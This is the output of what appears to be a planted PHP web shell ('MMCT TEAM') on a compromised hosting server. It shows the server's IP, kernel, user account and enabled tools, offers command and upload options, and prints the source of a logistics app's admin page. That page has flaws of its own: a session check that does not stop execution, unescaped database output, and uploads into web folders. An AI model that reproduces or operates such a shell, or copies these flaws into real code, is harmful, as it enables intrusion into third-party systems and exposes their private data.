MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/builty/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/builty/admin/view-assign_builty copy.php
<?php
   session_start();
   $se = $_SESSION["id"];
   if (!isset($_SESSION['id'])) {
       header("Location: login.php");
   }
   include("inc/config.php");
    
   ?>
<!DOCTYPE html>
<html lang="en">
   <?php require "inc/head.php"; ?>
   <body>
      <!-- header-->
      <?php require "inc/header.php"; ?>
      <!-- End Main-content Top bar-->
      <!-- main-content-->
      <div class="wrapper">
         <?php require "inc/sidebar.php"; ?>
         <div id="content">
            <div class="row">
               <div class="col-12 col-sm-12">
                  <div class="row mb-4">
                     <div class="col-12 col-md-12">
                        <div class="card redial-border-light redial-shadow mb-4">
                           <div class="card-body">
                              <h6 class="header-title pl-3 redial-relative">Data Table</h6>
                              <?php
                                 $employees_query = "SELECT id, femp_name, lemp_name FROM employees";
                                 $employees_result = mysqli_query($conn, $employees_query);
                                 $employees = [];
                                 
                                 while ($emp = mysqli_fetch_assoc($employees_result)) {
                                     $employees[$emp['id']] = $emp['femp_name'] . ' ' . $emp['lemp_name']; // Store full name
                                 }
                                 ?>
                              <table id="example" class="table table-bordered" cellspacing="0" width="100%">
                                 <thead>
                                    <tr>
                                       <th>#</th>
                                       <th>Gr No.</th>
                                       <th>Assigned Employee</th>
                                       <th>GR File</th>
                                       <th>Invoice File</th>
                                       <th>Sublier File</th>
                                       <!-- <th>Action</th> -->
                                    </tr>
                                 </thead>
                                 <tbody>
                                    <?php
                                       // $query = "SELECT b.*, e.femp_name, e.lemp_name 
                                       //           FROM builties b 
                                       //           LEFT JOIN employees e ON b.assign_emp_id = e.id"; 
                                       $query = "SELECT b.*, e.femp_name, e.lemp_name 
          FROM builties b 
          LEFT JOIN employees e ON b.assign_emp_id = e.id
          WHERE b.assign_emp_id > 0";
                                       $query_run = mysqli_query($conn, $query);
                                       
                                       if (mysqli_num_rows($query_run) > 0) {
                                           $index = 1;
                                           foreach ($query_run as $row) {
                                         
                                               $invoice_file = "../vendor/invoices/invoice_" . $row['id'] . ".pdf";
                                               $pdf_file = "../vendor/generate_pdf.php?id=" . $row['id']; // PDF generation link
                                               $image_file = "../vendor/buimg/" . $row['verify_image'];
                                       
                                              
                                               $invoice_exists = file_exists($invoice_file);
                                               $image_exists = !empty($row['verify_image']) && file_exists($image_file);
                                       
                                              
                                               $employee_name = (!empty($row['femp_name']) || !empty($row['lemp_name'])) 
                                                   ? $row['femp_name'] . ' ' . $row['lemp_name'] 
                                                   : "<span class='text-danger'>Not Assigned</span>";
                                       ?>
                                    <tr>
                                       <td><?php echo $index++; ?></td>
                                       <td><?php echo $row['grno']; ?></td>
                                       <td><?php echo $employee_name; ?></td>
                                       <!-- Show Employee Name -->
                                       <!-- <td>
                                          <?php if ($invoice_exists) { ?>
                                          <a href="<?php echo $invoice_file; ?>" class="btn btn-primary" target="_blank">View Invoice</a>
                                          <?php } else { ?>
                                          <span class="text-danger">Not Available</span>
                                          <?php } ?>
                                       </td> -->

                                      <td>
   

    <?php if ($invoice_exists) { ?>
        <a href="../vendor/generate_pdf.php?id=<?php echo $row['id']; ?>" class="btn btn-primary btn-sm mb-2" target="_blank">View Invoice</a>
    <?php } ?>

    <form action="../vendor/upload_image.php" method="post" enctype="multipart/form-data">
        <input type="hidden" name="builty_id" value="<?php echo $row['id']; ?>">
        <input type="file" name="varify_gr" accept="image/*,application/pdf" required>
        <button type="submit" class="btn btn-primary btn-sm mt-2">Upload</button>

        <?php
        $gr_image = "../vendor/buimg/" . $row['varify_gr'];
        $gr_exists = !empty($row['varify_gr']) && file_exists($gr_image);
    ?>

    <?php if ($gr_exists): ?>
        <a href="<?php echo $gr_image; ?>" target="_blank">
            <img src="<?php echo $gr_image; ?>" width="60" height="60" alt="GR Image" class="mb-2">
        </a><br>
    <?php endif; ?>
    </form>


</td>

  <!-- Supplier File Upload -->
  <td>
    <?php
    // Paths
    $attachment_path = "../vendor/sublier/" . $row['attachment'];
    $supplier_path = "../vendor/sublier/" . $row['supplier_file'];

    // Existence check
    $attachment_exists = !empty($row['attachment']) && file_exists($attachment_path);
    $supplier_exists = !empty($row['supplier_file']) && file_exists($supplier_path);
    ?>

    <!-- ✅ Show ATTACHMENT Preview (Top) -->
    <?php if ($attachment_exists): ?>
        <?php
        $ext = strtolower(pathinfo($attachment_path, PATHINFO_EXTENSION));
        if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'])) {
            echo "<a href='$attachment_path' target='_blank'>
                    <img src='$attachment_path' width='60' height='60' alt='Attachment Image' class='mb-2'>
                  </a><br>";
        } elseif ($ext === 'pdf') {
            echo "<a href='$attachment_path' class='btn btn-primary btn-sm mb-2' target='_blank'>View Sublier</a><br>";
        } else {
            echo "<a href='$attachment_path' target='_blank'>View Sublier</a><br>";
        }
        ?>
    <?php endif; ?>

    <!-- ✅ Supplier Upload Form (Stays in place) -->
    <form action="upload_image.php" method="post" enctype="multipart/form-data">
        <input type="hidden" name="builty_id" value="<?php echo $row['id']; ?>">
        <input type="file" name="supplier_file" accept="image/*,application/pdf" required>
        <button type="submit" class="btn btn-primary btn-sm mt-2">Upload</button>

        <!-- ✅ Show SUPPLIER FILE Preview (Below Form) -->
        <?php if ($supplier_exists): ?>
            <?php
            $ext2 = strtolower(pathinfo($supplier_path, PATHINFO_EXTENSION));
            if (in_array($ext2, ['jpg', 'jpeg', 'png', 'gif', 'webp'])) {
                echo "<br><a href='$supplier_path' target='_blank'>
                        <img src='$supplier_path' width='60' height='60' alt='Supplier File' class='mb-2'>
                      </a>";
            } elseif ($ext2 === 'pdf') {
                echo "<br><a href='$supplier_path' class='btn btn-primary btn-sm mt-2 mb-2' target='_blank'>View Supplier PDF</a>";
            } else {
                echo "<br><a href='$supplier_path' target='_blank'>Download Supplier File</a>";
            }
            ?>
        <?php endif; ?> <br>
    </form>
</td>

                    <!-- PDF Link -->

                    <td>


    <?php if ($invoice_exists) { ?>
        <a href="../vendor/<?php echo $invoice_file; ?>" class="btn btn-primary btn-sm mb-2" target="_blank">View PDF</a>
    <?php } ?>

    <form action="../vendor/upload_image.php" method="post" enctype="multipart/form-data">
        <input type="hidden" name="builty_id" value="<?php echo $row['id']; ?>">
        <input type="file" name="verify_image" accept="image/*,application/pdf" required>
        <button type="submit" class="btn btn-primary btn-sm mt-2">Upload</button>

        <?php
        $invoice_image = "../vendor/buimg/" . $row['verify_image'];
        $invoice_img_exists = !empty($row['verify_image']) && file_exists($invoice_image);
    ?>

    <?php if ($invoice_img_exists): ?>
        <a href="<?php echo $invoice_image; ?>" target="_blank">
            <img src="<?php echo $invoice_image; ?>" width="60" height="60" alt="Invoice Image" class="mb-2">
        </a><br>
    <?php endif; ?>
    </form>
</td>
                                      
                                    </tr>
                                    <?php
                                       }
                                       } else {
                                       echo "<tr><td colspan='6' class='text-center'>No assigned builties found.</td></tr>";
                                       }
                                       ?>
                                 </tbody>
                              </table>
                           
                           </div>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </div>
      <!-- End main-content-->
      <!-- Top To Bottom-->
      <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50">
         <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
      </a>
      <!-- End Top To Bottom-->
      <!-- jQuery Script to Handle Employee Assignment -->
      <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
      <script>
         $(document).ready(function() {
             $(".assign-employee-dropdown").change(function() {
                 var builtyId = $(this).data("id");
                 var assignedEmpId = $(this).val();
                 
                 console.log("Builty ID:", builtyId, "Assigned Employee ID:", assignedEmpId); // Debugging
         
                 $.ajax({
                     url: "assign_builty.php",
                     type: "POST",
                     data: { builty_id: builtyId, assign_emp_id: assignedEmpId },
                     success: function(response) {
                         console.log("Server Response:", response); // Debugging
                         if (response.trim() === "Success") {
                             alert("Builty assigned successfully!");
                         } else {
                             alert("Error: " + response);
                         }
                     },
                     error: function(xhr, status, error) {
                         console.error("AJAX Error:", status, error);
                         alert("AJAX request failed. Check console for details.");
                     }
                 });
             });
         });
         
      </script>
      <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
      <script>
         $(document).ready(function() {
             $(".status-dropdown").change(function() {
                 var newStatus = $(this).val();
                 var recordId = $(this).data("id");
         
                 $.ajax({
                     url: "update_status.php",
                     type: "POST",
                     data: { id: recordId, status: newStatus },
                     success: function(response) {
                         alert(response);
                     }
                 });
             });
         });
      </script>
      <script>
         function confirmInvoice(id) {
             if (confirm("Are you sure you want to create an Invoice?")) {
                 window.location.href = "invoice.php?id=" + id;
             }
         }
      </script>
      <!-- jQuery -->
      <script src="dist/js/plugins.min.js"></script>        
      <script src="dist/js/common.js"></script>
   </body>
</html>

MMCT - 2023